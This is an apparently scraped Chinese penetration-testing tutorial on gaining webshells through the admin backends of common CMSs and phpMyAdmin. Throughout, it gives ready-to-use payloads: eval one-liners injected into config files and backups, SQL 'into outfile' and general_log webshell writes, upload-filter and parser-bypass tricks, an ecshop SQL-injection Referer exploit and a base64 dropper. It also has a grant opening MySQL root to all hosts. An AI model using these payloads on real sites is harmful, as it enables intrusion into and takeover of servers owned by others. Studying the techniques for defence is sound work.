redis 、tomcat、解析漏洞、编辑器、FTP
2.常规漏洞
sql注入、上传、文件包含、命令执行、Struts2、代码反序列化
3.后台拿shell
上传、数据库备份、配置插马
关于各种带有漏洞的应用以及OWASP Top10常规漏洞需要不断的积累,打造自己的核心知识库,道路且长。本文仅记录最近对常见cms后台getshell的学习总结
二、网站常见getshell方法
2.上传
上传是拿shell最常见的方式,不区分web前后台,有上传的地方均需尝试上传。常见的上传绕过方法:
-
本地js验证上传 -
服务器mime绕过 -
服务器文件头绕过 -
服务器 filepath上传 -
双文件上传 -
%00截断上传 -
上传其他脚本类型
目录解析:x.asp/1.jpg
分号解析:x.asp;.jpg会被解析asp格式
其他文件名:cer,asa,cdx…
畸形文件名解析:test.jpg/*.php
畸形解析漏洞 :test.jpg/*.php(Nginx版本无关,只与配置环境有关)
<8.03空字节代码执行漏洞 :test.jpg%2500.php
Apache解析文件时是按照从右向左的方式,test.php.aaa.sss,Apache无法解析.aaa.sss,向左解析到.php,于是test.php.aaa.sss就被解析为php文件
低版本的ewebeditor、fckeditor编辑器均有漏洞可以利用。或绕过上传或结合解析漏洞
6. 网站配置插马
在网站后台的一些配置接口中最终的配置结果会写进网站配置文件,这里通过源码的过滤规则进行闭合语句可以直接将shell写进配置文件从而getshell。注意:网站后台配置插马属于高危操作,如果闭合失败网站将全面崩溃,不建议生产环境下操作。
例:良精后台配置插马
#配置文件路径:../inc/config.asp
#插马语句:"%><%eval request("123")%><%'


将shell添加到安装的插件中上传服务器拿shell。典型如wordpress
通过数据库执行命令导出一句话到网站目录拿shell。此方法需要有数据库写入权限,且知道网站目录
SQL server 2005之后就不能导了,因为sp_makewebtask存储过程被取消了
;exec%20sp_makewebtask%20%20%27c:inetpubwwwrootmsx1.asp%27,%27select%27%27<%execut
版本一
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;
use mysql;create table x(packet text) type=MYISaM;insert into x (packet) values('<pre><body ><?php @system($_GET["cmd"]); ?></body></pre>')select x into outfile 'd:phpxx.php'
select '<?php eval($_POST[cmd]);?>' into outfile 'C:/Inetpub/wwwroot/mysql-php/1.php'
可绕过waf拿webshell。借助文件包含躲避waf拦截。一般用来上大马用
asp 包含代码
<!--#include file="123.jpg"-->#调用的文件必须和被调用文件在同一目录,如果不在同一目录,用下面的语句:<!--#include virtual="文件所在目录/123.jpg"-->
<?php
include('123.jpg');
?>
echo ^<^?php @eval($_POST['cmd']);?^>^ > c:1.php
^<^%eval request("cracer")%^>^ > c:1.php
# 需要知道网站路径
三、常见cms后台拿shell
1.dedecms
默认后台:http://192.168.1.10:8030/dede/
# dedecms后台一般都被修改不好找,可借助google语法:
Powered byDedeCMSV57_GBK_SP2 site:xx.com
进入后台:核心》附件管理》文件式管理器》可直接修改源码或者上传shell



media_main.php?dopost=filemanager
#找到任意按钮修改js代码如图,即可再次调用文件管理


#需要得到网站的物理路径select "<?php @eval($_POST[x]);?>" into outfile 'C:inetpubgetshellDedecmsV53-UTF8-FinalDedecmsV53-UTF8-Finalx.php'#dede暴路径方法payload:http://xxx.com/plus/feedback.php?aid=1&dsql=xxx


2.南方数据、良精、动易
系统管理》数据库备份页面经常被删除,需要修改js重新调用数据库备份页面
manage_backup.asp


产品管理》添加产品》上传图片马

如:http://192.168.1.10:8009/UploadFiles/1.jpg

1.如果附加了asa无法访问,尝试删除asa访问。解析即可。
2.如果出现文件头为database、jet db。表示实际备份的还是数据库,我们提交的图片马并没有备份到。这里尝试添加管理员将shell写进数据库。然后再备份即可。这如果长度有限制,可以在审查元素修改maxlength或者抓包
3.如果数据库路径…/Databases/0791idc.mdb框无法修改。尝试审查元素或者burp改包
4.备份目录不用管

3.ecshop
#报错获取网站物理路径use mysql;#写shellselect "<?php phpinfo();?>" into outfile 'C:inetpubgetshell8103-ECShopECShop_2.7.4_UTF8_beta1uploadx.php'

库项目管理》配送方式

exp:Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}


安装插件》上传插件》插件马(正常插件+大马压缩包)》上传成功
#插件马位置:
./wp-content/plugins/alipay-donate/webshell.php
phpmyadmin 常见路径:phpmyadmin、pma、pmd、pm、phpmyadmin+版本号。或者端口号搭建888/999/8888/777。可尝试爆破登录:
#写shell语句select '<?php eval($_POST[cmd]);?>' into outfile 'D:SOFTwebbuildphpWWWaa.php'
1.找mysql安装目录
select @@basedir;
./apache/conf/https.conf
use mysql;create table xx(xx text);load data infile "D:SOFTwebbuildphpApache/conf/https.conf" into table xx;select * from xx;# 在搜索结果里面检索关键词documentroot找到网站根目录
1.找免杀马
2.开启外联
#开外链。将mysql root放在所有地址上并设置密码Grant all privileges on *.* to 'root'@'%' identified by '123.com' with grant option;#公网地址链接目标mysql服务器mysql.exe -h 200.1.1.1 -uroot -p
如果导出函数into outfile 被禁用
1.生成日志getshell
genaeral log设置为on,备份genaeral log file路径后修改为我们要导的shell路径。然后执行带有一句话的sql语句写入日志文件,成功getshell。完成后记得还原genaeral log file路径



#命令行操作:set global general_log=on;set global general_log_file='shell路径';#还原set global general_log=off;set global general_log_file='D:SOFTwebbuildphpMySQLdataDESKTOP-CCDQEGR.log';
5.kesion cms
一、添加上传类型


6.aspcms
幻灯片设置
#插马路径
./config/aspcms_config.asp
#语句
%><%Eval(Request(chr(112)))%><%

1.上传设置,添加脚本类型(大小写替换)
2.界面,模板管理,点击sdcms_index.asp,插入一句话到首页
8.phpcms
1.界面,模板风格,详情列表,修改脚本格式文件
2.phpsso(没有这个界面的话调用js),系统设置,ucenter设置,插马
#插马位置
./phpsso_server/caches/configs/uc_config.php
#先闭合表单
name="data[uc_api','11');/*]
# 再插入代码
*/@eval($_REQUEST[TEST]);//


<?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+'));?>
#在根目录下生成0.php,密码cmd


../../../../html/special/test000/index


1.安装插件getshell
2.安全》备份与恢复》数据库备份》下载》打开sql文件》合适的地方输入语句:
select "<?php @eval($_POST[cmd]);>" into oufile 'c:/inetpub/wwwroot/8121/xx.php';
3.<6.0,直接访问:
192.168.1.10:8095/admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST[cmd]);/*
连接:192.168.1.10/upload/index.php

管理后台:admin.php
创始人管理后台:uc_server/admin.php
管理后台:
1.站长,uccenter设置,插马,待复现。参考:
https://paper.seebug.org/1144/#2-ucketdz
11.帝国cms
1.系统》数据表与系统模型》管理数据表》管理系统模型》导入系统模型》上传1.php.mod》会在当前目录下生成一句话co.php:
连接:http://192.168.1.10:8111/e/admin/co.php

12.phpmywind
2.网站信息设置》增加新变量


新版本过滤分号无法连接:慎重插马

13.phpweb
https://blog.csdn.net/weixin_44508748/article/details/105671332
产品》修改》



文章来源:安全鸭
如有侵权,请联系删除

好文推荐
